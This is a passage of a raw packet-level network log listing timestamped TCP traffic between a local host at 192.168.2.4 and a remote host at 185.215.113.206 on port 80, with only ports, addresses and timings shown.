Oct 30, 2024 02:27:31.002157927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.002180099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.002190113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.002219915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.002244949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.002345085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.002355099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.002391100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.002458096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.002497911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.002505064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.002515078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.002545118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.002556086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.046564102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.046575069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.046585083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.046607971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.046617985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.046627045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.046643972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.046669006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.046734095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.046746969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.046757936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.046773911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.046793938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047305107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047328949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047338963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047363043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047363043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047377110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047574997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047620058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047641993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047653913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047687054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047728062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047739029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047756910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047756910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047786951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.047830105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.047864914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.119879007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.119889975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.119904995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.119915009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.119925022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.119935036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.119946957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.119962931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.119988918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.120012045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.120115042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.120132923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.120160103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.120938063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.163971901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.163995981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164005995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164055109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164069891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164108038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164129019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164169073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164179087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164195061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164223909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164236069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164320946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164333105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164361000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164372921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164796114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164845943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164848089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164858103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164885044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164896965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164910078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.164952993 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.164968014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.165005922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.165380955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.165424109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.165430069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.165433884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.165472031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.165472031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.165479898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.165523052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.238203049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.238221884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.238231897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.238292933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.238318920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.238331079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.238343954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.238353014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.238389015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.281610012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.281629086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.281635046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.281750917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.281758070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.281768084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.281833887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.281852961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.281959057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.281977892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.281989098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.282008886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.282028913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.282128096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.282140017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.282154083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.282179117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.282190084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.282254934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.282855988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.282874107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.282883883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.282902956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.282928944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.283013105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.283024073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.283058882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.354649067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.354685068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.354708910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.354749918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.354767084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.354813099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.354840040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.354851007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.354862928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.354890108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.354902983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.399030924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399040937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399096012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.399131060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399169922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.399182081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399200916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399249077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.399282932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399295092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399333954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.399734974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399745941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399780989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399785995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.399837017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399863005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.399887085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.399909019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.400151968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.400163889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.400177002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.400207996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.400212049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.400264978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.400280952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.400305033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.400315046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.400330067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.400368929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.401081085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.401093006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.401103020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.401139975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.472467899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.472520113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.472532034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.472580910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.472608089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.472611904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.472661018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.472672939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.472697973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.472727060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.516544104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.516596079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.516654015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.516657114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.516717911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.516730070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.516760111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.516777039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.516794920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.516860962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.516871929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.516897917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.516921997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.517482042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517493963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517503977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517538071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.517563105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.517569065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517637968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517680883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.517702103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517713070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517739058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.517750025 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.517817974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517828941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.517867088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.518254042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.518310070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.518321037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.518342972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.518361092 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.518419027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.518430948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.518456936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.518467903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.589570045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.589612961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.589622974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.589667082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.589689016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.589715004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.589720964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.589731932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.589756012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.589771032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.590024948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.590034008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.590078115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.633958101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634036064 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.634037018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634047985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634068012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634078979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634105921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.634123087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.634150028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634166956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634212017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.634582043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634599924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634629965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.634649038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.634778976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634799957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634809971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.634828091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.634839058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.635061979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635111094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.635143042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635154963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635195017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.635255098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635267019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635303974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.635481119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635525942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.635540962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635551929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635581970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.635653973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635664940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.635704041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.680288076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.680300951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.680310965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.680354118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.680373907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.707216978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.707236052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.707246065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.707307100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.707468987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.707488060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.707498074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.707528114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.707540035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.751617908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.751636028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.751645088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.751743078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.751792908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.751806974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.751812935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.751818895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.751854897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.751867056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.751946926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.751992941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.752011061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752022028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752063036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.752149105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752202034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752212048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752244949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.752417088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752463102 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.752465963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752477884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752516985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.752593994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752604961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752615929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.752635956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.752654076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.753107071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.753123999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.753150940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.753161907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.794835091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.794871092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.794883013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.794899940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.794923067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.794929981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.796437979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.796451092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.796461105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.796489000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.796518087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.824773073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.824784040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.824789047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.824934006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.825102091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.825159073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.825176954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.825202942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.825378895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:31.869142056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869163036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:31.869173050 CET	80	49760	185.215.113.206	192.168.2.4
